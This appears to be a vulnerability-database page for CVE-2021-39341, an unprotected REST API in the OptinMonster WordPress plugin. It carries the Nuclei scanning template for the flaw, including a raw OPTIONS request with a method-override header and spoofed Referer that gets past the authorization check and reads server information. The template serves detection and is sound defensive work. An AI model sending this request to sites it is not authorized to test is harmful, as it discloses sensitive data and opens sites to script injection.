OptinMonster Plugin < 2.6.5 - Unprotected REST-API

CVE-2021-39341
Verified

Description

The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.

Severity

High

CVSS Score

8.2

Exploit Probability

0%

Affected Product

optinmonster

Published Date

June 9, 2025

Template Author

iamnoooob, pdresearch

CVE-2021-39341.yaml
id: CVE-2021-39341

info:
  name: OptinMonster Plugin < 2.6.5 - Unprotected REST-API
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39341
    - https://plugins.trac.wordpress.org/browser/optinmonster/trunk/OMAPI/RestApi.php?rev=2606519#L1460
    - https://wordfence.com/vulnerability-advisories/#CVE-2021-39341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2021-39341
    cwe-id: CWE-285,CWE-863
    epss-score: 0.00492
    epss-percentile: 0.64518
    cpe: cpe:2.3:a:optinmonster:optinmonster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: optinmonster
    product: optinmonster
    framework: wordpress
    publicwww-query: "/wp-content/plugins/optinmonster"
  tags: cve,cve221,wordpress,wp-plugin,optinmonster,rest-api,disclosure,unauth,exposure,kev

http:
  - raw:
      - |
        OPTIONS /wp-json/omapp/v1/support HTTP/1.1
        Host: {{Hostname}}
        X-HTTP-Method-Override: GET
        Referer: https://wp.app.optinmonster.test

    matchers:
      - type: word
        part: body
        words:
          - "PHP Version"
          - "OptinMonster"
          - '"functions.php"'
          - "Server Info"
        condition: and
# digest: 4b0a00483046022100d2fbb68a3692aadfa08b224d8057f55ceb52a4ccb745fa6036096a43711e49a4022100eb344738c66d626fe050c0e054c91122050b6c906c19a1620eb3a971314e03d9:922c64590222798bb761d5b6d8e72950